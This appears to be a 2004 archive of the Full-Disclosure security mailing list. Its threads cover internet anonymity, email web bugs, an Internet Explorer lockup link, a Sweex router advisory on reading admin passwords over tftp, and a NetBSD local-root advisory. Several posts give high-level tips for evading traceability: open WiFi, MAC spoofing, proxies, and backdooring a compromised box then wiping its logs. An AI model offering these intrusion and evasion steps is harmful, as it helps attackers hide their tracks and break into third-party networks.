Fingerprint   | FF46 E565 5CC1 E2E5 3F69  C739 1D87 E549 7364 7CFF
vim -c   ":%s/^/WhfgTNabgureRIvzSUnpxreT-Tavba/|:%s/[R-T]/ /Ig|:normal ggVGg?"

my mailer is mutt(linux) and i have really no idea why some people here say it is so.
in the attachment is my signature file, if someone will take a look.
but i think it only depends on the mailer you use or the formation.
does someone have an idea?
regards nico

-- 
Nico Golde| [EMAIL PROTECTED]  | [EMAIL PROTECTED] | [EMAIL 
PROTECTED]
http://www.ngolde.de  | GnuPG Key: http://www.ngolde.de/gpg/nico_golde.gpg
Fingerprint   | FF46 E565 5CC1 E2E5 3F69  C739 1D87 E549 7364 7CFF 
vim -c   ":%s/^/WhfgTNabgureRIvzSUnpxreT-Tavba/|:%s/[R-T]/ /Ig|:normal ggVGg?"
Nico Golde| [EMAIL PROTECTED]  | [EMAIL PROTECTED] | [EMAIL 
PROTECTED]
http://www.ngolde.de  | GnuPG Key: http://www.ngolde.de/gpg/nico_golde.gpg
Fingerprint   | FF46 E565 5CC1 E2E5 3F69  C739 1D87 E549 7364 7CFF 
vim -c   ":%s/^/WhfgTNabgureRIvzSUnpxreT-Tavba/|:%s/[R-T]/ /Ig|:normal ggVGg?"

Re: [Full-Disclosure] Calcuating Loss

['Alexander Schreiber']

On Wed, May 12, 2004 at 08:56:25AM -0700, Schmidt, Michael R. wrote:
> Well one of the biggest issues that allows people to remain anonymous
> is DHCP. 

No. Even Dialup (modem/ISDN), Cable or DSL users who get a new IP
address on every reconnect or every $X hours can be traced back easily
by their appropriate provider who can identifiy them by phone number of
their line or by MAC. Although you do _not_ _identify_ _persons_ this way,
only _equipment_ - which supposedly is linked to a person (think stolen
cell phone - which is getting a more interesting target with UMTS due to
the higher bandwith there (yes, I know a cell phones location can be
pinpointed to within a few hundred meters or less)).

> If everyone on the internet was required to get a static IP
> address, or to log which IP they were using - using a secure technology
> then everyone could be tracked, sure a few "super" hackers could still
> manage to escape detection I am sure,

No need for super hackers. All you need is one of the usual worms and
the usual windows box. Or even better, a normal (read: unsecured)
WaveLAN. Instant free net access or at least proxy.

> but there is nothing that is the equivalent of a drivers license on the
> internet.
> 
> Sure there would still be criminals using stolen credentials, but IPs
> are handed out based on location or where you dialed in from. Dialing
> in can be traced using caller ID, wireless by IP and base station
> proximity, so just like today, people would have a alibi for the time
> and place the criminal used their identity.

And if Joe Fool was at home while Jack Badguy drove within range of his
WaveLAN (which was wide open because Joe Fool didn't know how to
properly secure it) and used it to commit some nasty crime? Bang, Joe
Fool is presumed guilty and ends up in prison? Well, that approach
_would_ cut down on unsecured WaveLANs, if only by jailing most of the
fools.

> What we need is something that you have to log into (securely) or your
> DHCP is revoked immediately.  And of course static IPs are well, static
> and since they are routed, routes can be logged and therefore trackable.

Well, this kind of control over the populace might work in The Land of
The Free (aka USA), but good luck trying to enforce it in some less free
places - like Nigeria, for instance.

> So again it is anonymity that causes most of the grief.  If all code had
> to be signed, then you'd know who wrote it, and running unsigned code
> would be your own stupid fault.

And trying to run code which the vendor of your code signing checker
(for most this would be Microsoft, I'm afraid) does not approve for
whatever shady reasons won't work either. Of course, criminals will
still be able to turn out perfectly signed malware executables, there
are more than enough ways to do this.

> If you replace a part on some new cars with a non-manufacturers part, 
> you void the warranty.  But when you run unsigned downloaded for free
> or sent through email code on your dell, who do you call and expect to
> fix it when it stops working?  The end user is the moron, we require no
> test to get on the internet and yet we let more people anonymously sign
> on the net everyday.

Wrong. You have to really work to get an anonymous link to the net.
Basically: As long as you are paying for your internet connection, it is
virtually guaranteed that it is _not_ anonymous. Your provider can track
you down and thereby also the police. It is just a bit of work to
identify the user. And if the police calls up an Internet provider and
ask for the customer who used dialinpool711.provider.com 6 months ago,
well, those logs are almost _certainly_ gone already.

Your best bet at anonymous internet access is to still it without anybody
noticing (open WaveLANs are probably best, public terminals can be a bad 
choice (think cameras)).

Regards,
   Alex.
> -Original Message-
> From: Alexander Schreiber [mailto:[EMAIL PROTECTED]
> Sent: Tuesday, May 11, 2004 10:34 PM
> To: Schmidt, Michael R.
> Cc: 'Frank Knobbe'; [EMAIL PROTECTED]; Full-Disclosure
> Subject: Re: [Full-Disclosure] Calcuating Loss
> 
> On Tue, May 11, 2004 at 03:02:30PM -0700, Schmidt, Michael R. wrote:
> > I think that part of the evolution is to lock people who create these
> > things up for a *very* long time.  It will deter the script kittens
> > when they start to find that their computers are confiscated and their
> > parents homes are sold to pay for the "loss" incurred by there
> > stupidity.  The real black hats will be deterred when 20 FBI/CIA whoever
> > agents drag them from their homes at gunpoint with the handcuffs tight
> > around there wrists.
> 
> Dead wrong. All this will accomplish is the any malware author will just
> be one hell of a lot more careful to avoid getting caught. It might even
> accelerate another trend: malware by script kiddies who goes down,
> malware by real criminals (who use/sell the infected machines as spam
> relays, DDoS zombies (nice e

[Full-Disclosure] what CMS to use for a CERT?

[Koen]

Hi,

I'm looking for a good content management solution for starting a CERT. 

I don't mean the OS or webserver-stuff but the 'thingy' that sites like 
http://www.cert.org, http://www.us-cert.gov/ or http://www.securityfocus.com/ 
use  for constructing their web-advisories, web-resource pages and 
news-pages. 

The cms should at least be Open Source (commercial is ok) and run on 
Linux/BSD.

Anyone? Thanks in advance,

Koen

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Wireless ISPs

[Valdis . Kletnieks]

On Wed, 12 May 2004 22:24:18 +0530, "Aditya, ALD [Aditya Lalit Deshmukh]" <[EMAIL 
PROTECTED]>  said:

> if people knew just how to use them the world would have been a much safer place 
> already !
> inst it ironic that the people cannot use the free tools also.

Not ironic, just sad.

If they weren't using them because they were free, then it would be approaching ironic.


pgp0.pgp
Description: PGP signature

Re: [Full-Disclosure] leaking

[Nancy Kramer]

What do you use that does that?

Regards,

Nancy Kramer
Webmaster http://www.americandreamcars.com
Free Color Picture Ads for Collector Cars
One of the Ten Best Places To Buy or Sell a Collector Car on the Web
At 06:49 AM 5/12/2004, Dave Horsfall wrote:
On Wed, 12 May 2004, Felipe Angoitia wrote:

> Hi abhilash verma and the rest...  Why do you include this in your
> mails? tracking full-disclosure readers which use html rendering muas?
Sounds like a good reason to *not* use certain MUAs to me.  Your choice,
after all.
Hint: my MUA renders HTML.  It does *not* fetch web-bugs etc.

-- Dave

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] leaking

[Alexander Gretencord]

On Wednesday 12 May 2004 17:01, Alerta Redsegura wrote:
> Are you going to tell me you didn't see this ad in your MUA?
> Then, it doesn´t render HTML!

In fact yes I will tell you that. My MUA renders HTML (if you tell it to 
render it globally or if you tell it exokicitly for a specific mail). but 
does not load external references.

So if I get a html only mail I can read it rendered but any pictures (ads, web 
bugs, whatever) are not loaded at all. The Client? Look at my headers.

You can enable loading external references in the config though but it's 
disabled by default.

> Since the ignomious "web bug" is only a simple plain vainilla ad contained
> in all messages sent from Rediffmail, a web based mail service.

Yes but to be useful it has to be an url referring to a server under control 
of the sender. Something my KMail won't load even when redenring a html mail 
with pictures and and other stuff in it. As long as pictures are embedded in 
the mail they are displayed when html is redenred but not if they are 
external URLs.


Alex

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Calcuating Loss

[Scott Taylor]

Do you know how many people have unconfigured and therefore wide open
wireless access points in the same county as me? Well over 2000. The
number of configured though not necessarily secure is over 5000. That is
all less than 20 miles from home. And I didn't even bother to map out
most of the side streets. I doubt any of those are really bothering to
keep or even know what a logfile is. Yeah lets get a good record of who
has their ip address, so that the FBI can come drag them off when
someone parks in their neighborhood and blasts out malware pleasantly
stamped with their ip address. In fact with a good antenna and amplifier
one could do that from over a mile away. You could do that and not even
know where the poor sucker hosting your temporary internet connection
is. Just nailing down a few addresses is not going to solve the problem,
i'm afraid.

On Wed, 2004-05-12 at 09:56, Schmidt, Michael R. wrote:
> Well one of the biggest issues that allows people to remain anonymous is DHCP.  If 
> everyone on the internet was required to get a static IP address, or to log which IP 
> they were using - using a secure technology then everyone could be tracked, sure a 
> few "super" hackers could still manage to escape detection I am sure, but there is 
> nothing that is the equivalent of a drivers license on the internet.
> 
> Sure there would still be criminals using stolen credentials, but IPs are handed out 
> based on location or where you dialed in from. Dialing in can be traced using caller 
> ID, wireless by IP and base station proximity, so just like today, people would have 
> a alibi for the time and place the criminal used their identity.
> 
> What we need is something that you have to log into (securely) or your DHCP is 
> revoked immediately.  And of course static IPs are well, static and since they are 
> routed, routes can be logged and therefore trackable.
> 
> So again it is anonymity that causes most of the grief.  If all code had to be 
> signed, then you'd know who wrote it, and running unsigned code would be your own 
> stupid fault.
> 
> If you replace a part on some new cars with a non-manufacturers part, you void the 
> warranty.  But when you run unsigned downloaded for free or sent through email code 
> on your dell, who do you call and expect to fix it when it stops working?  The end 
> user is the moron, we require no test to get on the internet and yet we let more 
> people anonymously sign on the net everyday.

--
Scott Taylor - <[EMAIL PROTECTED]> 

A woman went into a hospital one day to give birth.  Afterwards, the doctor
came to her and said, "I have some... odd news for you."
"Is my baby all right?" the woman anxiously asked.
"Yes, he is," the doctor replied, "but we don't know how.  Your son
(we assume) was born with no body.  He only has a head."
Well, the doctor was correct.  The Head was alive and well, though no
one knew how.  The Head turned out to be fairly normal, ignoring his lack of
a body, and lived for some time as typical a life as could be expected under
the circumstances.
One day, about twenty years after the fateful birth, the woman got a
phone call from another doctor.  The doctor said, "I have recently perfected
an operation.  Your son can live a normal life now: we can graft a body onto
his head!"
The woman, practically weeping with joy, thanked the doctor and hung
up.  She ran up the stairs saying, "Johnny, Johnny, I have a *wonderful*
surprise for you!"
"Oh no," cried The Head, "not another HAT!"



___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Locking up Internet Explorer

[Thor Larholm]

Any link in the form of //something has the current protocol prepended to it. If you 
are on a HTTP site such as http://microsoft.com and click on a link to 
//msdn.microsoft.com you are in reality making a request for http://msdn.microsoft.com
 
/. used to use these links all over the place, to save some bytes I guess.
 
The results by clicking on your link to //test/test depends on the security zone you 
are in. If you are in the Internet Zone you will be asking for http://test/test , if 
you are in the My Computer zone you will be asking for file://test/test which gets 
translated into \\test\test.
 
 
 
Regards
Thor
 

-Original Message- 
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] 
Sent: Tue 5/11/2004 9:08 AM 
To: [EMAIL PROTECTED] 
Cc: 
Subject: [Full-Disclosure] Locking up Internet Explorer



The following code creates a link that causes Microsoft Internet Explorer to
lock up. Restarting IE is required after clicking on the link.

Lock up Internet Explorer

The form of the link just has to be //*/* as far as I tried it. The IE
version I used was 6.0.2800.1106.xpsp2.030422-1633CO.

CYA

--
"Sie haben neue Mails!" - Die GMX Toolbar informiert Sie beim Surfen!
Jetzt aktivieren unter http://www.gmx.net/info

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Security Warning

[Farrukh Hussain]

Hi,
   Please tell me how i can make this type of securty warning. thanks.
http://www.farukh.com/sw.jpg

Best Regards from,,
Farrukh Hussain.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Wireless ISPs

[Schmidt, Michael R.]

It is one part not knowing and one part training. And there will always be the people 
who are just plain and simple too stupid to deal with reality, that's where we get 
drug addicts, drunks and people smoking that last cigarette as the take their last 
breath...  These people are taught, they have been told, but they still do stupid 
things. It's the nature of the beast people, get used to it.

Sure a small child would drink bleach cause they didn't know better, but grown adults 
sniff glue and paint, someone somewhere they learned but what?  It didn't take.  
People are sheep and need to be told what to do, deny it all you want but it is the 
truth.

That's why we require responsibility - or at least registration before we let citizens 
do some things, like drive, like drink, how about getting on the net?

How hard would it be to have a few companies start a "secure" Internet?  All access is 
by licensed know individuals.  No more hacking, no more slacking.  If we don't know 
you, then you don't get access.  If suspicious activity comes from you IP you get 
closed down till we know your machine is safe.  That's where I'd go for all of my 
financial transactions.  The Internet is the Wild West and I am only there because it 
is the only game in town.  And think, with a "restart" it could be built right from 
the start.

Come on people we let terrorists and criminals in on this thing voluntarily.  How 
smart are we?

Keeping my home network safe requires way too much freaking time - but since we are 
pioneers I am willing to take a few arrows, but someday this wild and wooly place will 
grow up, become civilized and you'll all start carrying a "Net" license in your pocket

-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of [EMAIL PROTECTED]
Sent: Tuesday, May 11, 2004 6:05 PM
To: Maarten
Cc: [EMAIL PROTECTED]
Subject: Re: [Full-Disclosure] Wireless ISPs 

On Wed, 12 May 2004 00:18:37 +0200, Maarten <[EMAIL PROTECTED]>  said:

> Who, in their right minds, will read their email anyhow over an unencrypted
> wireless link ?  That's asking for trouble, ie. information-leakage.

The 99.98% of *real* *users* who are so clueless as to not *know* that it's a
bad idea.  How many subscribers on this list?  30K, maybe?  What percent of the
several hundred million internet users is that, anyhow?

Who, in their right minds, would drink bleach out of the bottle under the sink?
 Nobody - but the first thing most parents do is put a *lock* on that cabinet,
or move the bleach, because we know that the toddler *isnt* in their right
mind, and will need several years of learning before they are.

The same exact logic applies when talking about users.  They do things because,
just like the 3 year old, they DONT KNOW ANY BETTER.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Sweex 802.11g router/accesspoint config disclosure / remote config

[Mark Janssen]

Maniac Security Advisory 2004-01
Configuration disclosure on Wireless Accesspoint/Router

SUMMARY

Critical elements of the accesspoint's configuration can be discovered by
any client connected to the accesspoint. This includes the administration
username and password.

AFFECTED PRODUCTS

Sweex Wireless Broadband Router/Accesspoint 802.11g (LC60)
Unex WF514 (Unverified, but this appears to be the same device)

DETAILS

The configuration of the accesspoint can be 'backed-up' using tftp from any
client that is connected to the accesspoint by requesting any filename from
the tftp server (default 192.168.61.1) as long as the name starts with 'nvram'.

Running strings(1) on the nvram file then reveals the admin username and
password and other configuration data. Using the username and password the
configuration webinterface can be accessed to modify the entire configuration.

If the accesspoint is also used as a Broadband router that the username and
passwords of these connections is also revealed.

PREVENTION

At the current time there is no known way to prevent this attack. The vendor
has been notified May 12th.

Copyright 2004 Mark Janssen, Syconos IT

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Calcuating Loss

[Frank Knobbe]

On Wed, 2004-05-12 at 11:57, Gary E. Miller wrote:
> Too much work.  Just do a bit of wardriving until you find a WiFi net
> you can jump on.  Just be sure to forge your MAC just in case someone is
> in turn sniffing you locally.

Heya Gary,

too much work? You mean I have to get out, buy an antenna (or Pringles
can), get gas, drive around the city, find an open WAP, find me a
parking lot, hook up my gear and hack away? I find it so much more
convenient to just download YAPH and proxychains and cover by tracks
that way, all from the comfort of my own bed... I mean... home. ;)

> Of course if you are doing something really nasty you should still probably
> bounce your packets off several foreign countries first just to make it
> fun.

Yeah, it's always some damn Korean senior citizen homes that do all the
nasty stuff on the 'net.  :)

Cheers,
Frank



signature.asc
Description: This is a digitally signed message part

Re: [Full-Disclosure] Calcuating Loss

[James Riden]

"Schmidt, Michael R." <[EMAIL PROTECTED]> writes:

> Well one of the biggest issues that allows people to remain
> anonymous is DHCP.  If everyone on the internet was required to get
> a static IP address, or to log which IP they were using - using a
> secure technology then everyone could be tracked, sure a few "super"
> hackers could still manage to escape detection I am sure, but there
> is nothing that is the equivalent of a drivers license on the
> internet.

No. First thing to do is find an easily compromised box - still pretty
unlikely to be a honeypot even these days - and get on there. Once
you've installed a backdoor, secured the box and wiped the logfiles,
it gets much harder to trace back. Especially if that's done two or
three times.

Only the very stupid launch serious attacks from their own machine.

-- 
James Riden / [EMAIL PROTECTED] / Systems Security Engineer
Information Technology Services, Massey University, NZ.
GPG public key available at: http://www.massey.ac.nz/~jriden/

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] leaking

[Nancy Kramer]

They probably use this in order to track if the email was opened and
maybe who opened it, at least IP or server etc.  This only works
with some email clients.
If the recipient is using an email client this works on it is a very
reliable way to measure if the email was opened, the IP or server of the
person opening it and when it was opened.  Lets just call it
delivery confirmation.

Regards,
Nancy Kramer
Webmaster
http://www.americandreamcars.com
Free Color Picture Ads for Collector Cars
One of the Ten Best Places To Buy or Sell a Collector Car on the
Web

At 04:35 AM 5/12/2004, Felipe Angoitia wrote:
Hi
abhilash verma and the rest... 
Why do you include this in your mails? tracking full-disclosure readers which use html rendering muas? 
http://clients.rediff.com/signature/track_sig.asp">http://clients.rediff.com/signature/track_sig.asp> SRC="">" BORDER=0 VSPACE=0 HSPACE=0> 

please explain us... 

RE: [Full-Disclosure] Avoiding traceability (was: Calculating Loss)

[Frank Knobbe]

On Wed, 2004-05-12 at 12:42, Gary E. Miller wrote:
> If you convert your pringles can properly it should work from your bedroom
> window as well. :-)

lol yeah, I saw that one coming

> Go ahead and use your home internet conenction if you must.  Just be
> carefull who you annoy enough to track you down.  If the Feds supect
> you they can get a warrant and tap your line.

Agreed. The mobility of (mis)using wireless networks helps evading
profiling and taps.

> Do not expect any
> encryption to be a protection, the Feds say they have never been stumped
> by encryption.

Right, but (not including weak and breakable encryption) isn't that
because they can get the keys through other means? (as in physical
access, including planting hardware or software keyloggers [Scarfo])

Anyhow, probably drifting off topic now. I concede that there are
definitely advantages that unsecured wireless connections offer in term
of becoming untraceable (and complete decoupling of all things
physical). But I still believe that open proxies are easier and more
convenient to use.

Regards,
Frank


PS: Not that I do these things of course perhaps a real blackhat or
two that do hack anonymously can speak up and tell us what they use to
anonymize themselves.



signature.asc
Description: This is a digitally signed message part

RE: [Full-Disclosure] Calcuating Loss

[Gary E. Miller]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Yo Frank!

On Wed, 12 May 2004, Frank Knobbe wrote:

> too much work? You mean I have to get out, buy an antenna (or Pringles
> can), get gas, drive around the city, find an open WAP, find me a
> parking lot, hook up my gear and hack away? I find it so much more
> convenient to just download YAPH and proxychains and cover by tracks
> that way, all from the comfort of my own bed... I mean... home. ;)

If you convert your pringles can properly it should work from your bedroom
window as well. :-)

Go ahead and use your home internet conenction if you must.  Just be
carefull who you annoy enough to track you down.  If the Feds supect
you they can get a warrant and tap your line.  What with the Patriot
Act they probably do not even need that any more.  The Mob learned a
long time ago never to conduct "business" from home.  Do not expect any
encryption to be a protection, the Feds say they have never been stumped
by encryption.

RGDS
GARY
- ---
Gary E. Miller Rellim 20340 Empire Blvd, Suite E-3, Bend, OR 97701
[EMAIL PROTECTED]  Tel:+1(541)382-8588 Fax: +1(541)382-8676

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFAomH+8KZibdeR3qURAkR9AKD2hRymN1Xn7cckZT99EpHZ1hAwNQCgqUHS
LUnxr/Qqqtmfqe5hTUtkSA0=
=6cVC
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] lha vuln from last week

[Brian Toovey]

List,

Anyone been following that lha vuln from last week?  I heard lha is in over 17 
products (antivirus, archivers) but I dont see but one antivirus company come out and 
acknowledge it (only because a public test was run).

I consider the vuln severe - but there has been little if no buzz about it.  If mail 
server's running lha code can be compromised  If desktop users only have to 
download their email.

anyone have a thought on the severity of this?

http://www.securityfocus.com/bid/10243



Brian Toovey
igxglobal
389 Main Street Suite 206
Hackensack, NJ 07601
Ph: 201-498-0555x2225
[EMAIL PROTECTED]

Subscribe to the igxglobal Daily Security Briefing
http://www.igxglobal.com/dsb/register.html

igxglobal announces Daily Security Briefing newsletter
http://www.prweb.com/releases/2004/5/prweb123759.htm


The electronic message that you have received and any attachments are solely intended 
for the use of the addressee(s) and may contain information that is confidential. If 
you receive this email in error, please advise us by responding to [EMAIL PROTECTED] 
You are required to delete the contents and destroy any copies immediately.
igxglobal is not liable for the views expressed in this electronic message or for the 
consequences of any computer viruses that may be unknowingly transmitted within this 
message. This electronic message is also subject to standard copyright/ownership laws. 
It is not intended to be reproduced, or re-transmitted without the consent of the 
originator.








___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] what CMS to use for a CERT?

[Brown, James (Jim)]

Title: RE: [Full-Disclosure] what CMS to use for a CERT?






> -Original Message-
> From: Koen [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, May 12, 2004 3:17 PM
> To: [EMAIL PROTECTED]
> Subject: [Full-Disclosure] what CMS to use for a CERT?
> 
> 
> Hi,
> 
> I'm looking for a good content management solution for 
> starting a CERT. 
> 
> I don't mean the OS or webserver-stuff but the 'thingy' that 
> sites like 
> http://www.cert.org, http://www.us-cert.gov/ or 
> http://www.securityfocus.com/ 
> use  for constructing their web-advisories, web-resource pages and 
> news-pages. 
> 
> The cms should at least be Open Source (commercial is ok) and run on 
> Linux/BSD.
> 
> Anyone? Thanks in advance,
> 
> Koen
> 



Check out www.opensourcecms.com and test drive as many as you want.
Some features are disabled- but you can still get a very good idea
without having to download and set up each one...






Note:  The information contained in this message may be privileged and confidential and protected from disclosure.  If the reader of this message is not the intended recipient, or an employee or agent responsible for delivering this message to the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited.  If you have received this communication in error, please notify us immediately by replying to the message and deleting it from your computer. Thank you.  ThruPoint, Inc. 

[Full-Disclosure] NetBSD Security Advisory 2004-007: Systrace systrace_exit() local root

[NetBSD Security-Officer]

-BEGIN PGP SIGNED MESSAGE-


 NetBSD Security Advisory 2004-007
 =

Topic:  Systrace systrace_exit() local root

Version:NetBSD-current: source prior to Apr 16, 2004
netBSD 2.0 branch:  source prior to Apr 16, 2004
netBSD 1.6.2:   not affected
NetBSD 1.6.1:   not affected
NetBSD 1.6: not affected
NetBSD-1.5.3:   not affected
NetBSD-1.5.2:   not affected
NetBSD-1.5.1:   not affected
NetBSD-1.5: not affected

Severity:   local root exploit

Fixed:  NetBSD-current: Apr 17, 2004
NetBSD-2.0 branch:  Apr 17, 2004 (2.0 will include
the fix)

Abstract


A local user that is allowed to use /dev/systrace can obtain root
access.



Technical Details
=

systrace_exit() did not check if the connection to systrace was owned by
the super user, and would set euid to 0 on exit.


Solutions and Workarounds
=

*** Patching from sources:

The fix for this issue is contained in the one file,
sys/kern/kern_systrace.c 

The following table lists the fixed revisions and
dates of this file for each branch:

  CVS branch revision date
  -  ---  
  HEAD   1.38 2004/04/17
  netbsd-2-0 1.37.2.1 2004/04/17

The following instructions describe how to upgrade your kernel
binaries by updating your source tree and rebuilding and installing a
new version of the kernel. In these instructions, replace:

  BRANCH   with the appropriate CVS branch (from the above table)
  ARCH with your architecture (from uname -m), and
  KERNCONF with the name of your kernel configuration file.

To update from CVS, re-build, and re-install the kernel:

# cd src
# cvs update -d -P -r BRANCH sys/kern/sysv_shm.c
# cd sys/arch/ARCH/conf
# config KERNCONF
# cd ../compile/KERNCONF
# make depend;make
# mv /netbsd /netbsd.old
# cp netbsd /
# reboot


* Binary Patch:

Binary patches are being provided, in the form of replacement
kernels built with the patches from the GENERIC kernel
configuration. If you use a custom kernel configuration, these
may not be suitable for you.

netbsd-current:

Releng does not compile -current kernels during a release cycle.
Users of -current are expected to be capable of upgrading from
sources.


netbsd-2-0:

Retreive a kernel from:

ftp://releng.netbsd.org/pub/NetBSD-daily/netbsd-2-0/DATE/ARCH/binary/kernel/

Where DATE is any available DATE later than 2004-04-17


Thanks To
=

Stefan Esser for detection and notification
Niels Provos for patches


Revision History


2004-05-12  Initial release


More Information


Advisories may be updated as new information becomes available.
The most recent version of this advisory (PGP signed) can be found at 
  ftp://ftp.NetBSD.org/pub/NetBSD/security/advisories/NetBSD-SA2004-007.txt.asc

Information about NetBSD and NetBSD security can be found at
http://www.NetBSD.org/ and http://www.NetBSD.org/Security/.


Copyright 2004, The NetBSD Foundation, Inc.  All Rights Reserved.
Redistribution permitted only in full, unmodified form.

$NetBSD: NetBSD-SA2004-007.txt,v 1.2 2004/05/12 15:39:10 david Exp $

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.3 (NetBSD)

iQCVAwUBQKJFLz5Ru2/4N2IFAQEaTgQAhGSQG1/cWAjKSV95hZ5dej1tkA+eYEMO
Y8EuSm80ebavAb4gJnvm5AcpnWu8THZgMdALNcJ+E7cK9wzCF8XfLHy/hHRPCcgr
Q/2vtood5T/ZdDdWJ9RXPBxR6GtAGvHXdhBqHWxTdN8OmaX36N1TptQ4mI9QoeWf
PTIeZpnsSBw=
=RBZ+
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Wireless ISPs

[Valdis . Kletnieks]

On Wed, 12 May 2004 10:13:35 PDT, "Schmidt, Michael R." said:

> How hard would it be to have a few companies start a "secure" Internet?  All
> access is by licensed know individuals.  No more hacking, no more slacking.  If

You know.. the Internet *did* start that way.  When there were 4 IMPs and 6
machines on the net, they *did* know every user.  I know people who have been
in meetings where *every single* user of NCP (the predecessor of TCP/IP) was in
the room.

But then something happened - users.  When you get to dozens of sites and
hundreds of users, you can't call the user at the other site and tell them to
cut it out - you have to call the admin at the other site and ask them to find
the user in question and do something about them.

And that model is still (basically) how the Internet is run today, 20 years
later.  

The problem is that the concept of "licensed known individuals" doesn't scale
well at all.  What *real* trust do I have in the "license" of some user in
Saskatchewan?

You can't use the "but everybody has a driver's license" model - that model is
broken as well.  You show me a college town where it's in the least bit
difficult for a freshman to get a driver's license sufficiently good to get
them into a bar.

And remember - an ID card wouldn't have stopped the 9/11 attacks either. Two of
the hijackers had *official* Virginia driver's licenses - obtained from a
bribed DMV employee.

A driver's license check doesn't stop serious crooks - it only makes sure that 
basically
honest people *stay* honest.  And in the liveware world, that's good enough - there's
only some 200,000 people within an hour's drive of the local supermarket, so anybody
who's writing a check is probably a local, and probably honest.  So you can afford
to swallow the losses from the 10 people within driving distance that are dishonest,
because you don't have to worry about dishonest people driving from Chicago,
Los Angeles, Paris, and Zimbabwe to write a bad check for 3 bags of groceries.

You don't have that luxury on the internet - all 600 million users are within
driving distance.

> we don't know you, then you don't get access.

Scaling "we don't know you" to hundreds of millions of people doesn't
work well.



pgp0.pgp
Description: PGP signature

Re: [Full-Disclosure] leaking

[sith]

On Wed, May 12, 2004 at 10:16:23AM -0500, Alerta Redsegura wrote:
> I am really curious to know how you can collect e-mail addresses from a
> plain image fed from a website shown on an e-mail.
> 
> IP, yes.  User-agent, yes.  But e-mail addresses???

You don't _collect_ email addresses (they obviously already have it if they
are sending you email with it, ;)  But you can verify email addresses with
it.

The easiest would be to put a hash or some other identifier of the users
email address in the url for the image, then have mod_rewrite rewrite the
url (or not, who cares... you just wanted to verify the email address was
good) to an actual image on your system, and log the embeded info and
compare to your known addresses.


Aaron Peterson

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] leaking

[Alerta Redsegura]

In the specific case we are talking about here:

1. Somebody sends a message to the list from a web-based e-mail service.
2. All messages sent from this web-based e-mail service have a banner.
3. The banner is an "img" tag with an "a href" to click on it.
4. The banner is not shown via "script" tags.
5. Neither the sender nor the web-based e-mail service have the list e-mail
addresses: the message is sent to the list address!



Now, I repeat the question:

How can the web-based email service in this particular case, gather email
addresses from the members of this list via this banner?



--

Aaron Peterson wrote:

>You don't _collect_ email addresses (they obviously already have it if they
>are sending you email with it, ;)  But you can verify email addresses with
>it.
>
>The easiest would be to put a hash or some other identifier of the users
>email address in the url for the image, then have mod_rewrite rewrite the
>url (or not, who cares... you just wanted to verify the email address was
>good) to an actual image on your system, and log the embeded info and
>compare to your known addresses.

--

Jimmy Kuijpers wrote:

>The beatch is probably collecting our addresses for spam.

--







Iñigo Koch
Red Segura

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Wireless ISPs

[Soderland, Craig]

Just to throw my .02 in here wasn't there a FCC ruling (for those of you in the US) 
that stated that you as a private citizen have the right to receive "any" broadcast 
radio signal. 

If this is the case then you would in essence have the right to listen in on any 
un-encrypted radio traffic. 




This mailbox protected from junk email by Matador
from MailFrontier, Inc. http://info.mailfrontier.com

> -Original Message-
> From: [EMAIL PROTECTED] [mailto:full-disclosure-
> [EMAIL PROTECTED] On Behalf Of Frank Knobbe
> Sent: Tuesday, May 11, 2004 4:32 PM
> To: D B
> Cc: [EMAIL PROTECTED]
> Subject: Re: [Full-Disclosure] Wireless ISPs
> 
> On Tue, 2004-05-11 at 13:33, D B wrote:
> > All transactions done via secure websites are secure,
> 
> No, they are not. It's just harder to intercept the data.
> 
> > A wired internet connection
> > limits the number of people who have access to this
> > data simply by the nature of the internet putting it
> > within acceptable risk.
> 
> Same can be said for wireless. (Except that the perimeter of the attack
> arena is defined by the wireless emissions instead of cable runs.)
> 
> > It is legal according to US law to eavesdrop on
> > wireless connections.
> 
> Maybe, INAL. But it is illegal to commit fraud with the data gathered by
> eavesdropping.
> 
> > 2. Encrypt all wireless transmissions at least making
> > someone who gains access to this data prosecutable.
> 
> Uhm... someone that accesses and uses the data is already prosecutable.
> 
> > Please direct all flames to /dev/null
> 
> Neat. Never heard that before... :)
> 
> 
> -Frank

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Calcuating Loss

[Michael Gargiullo]

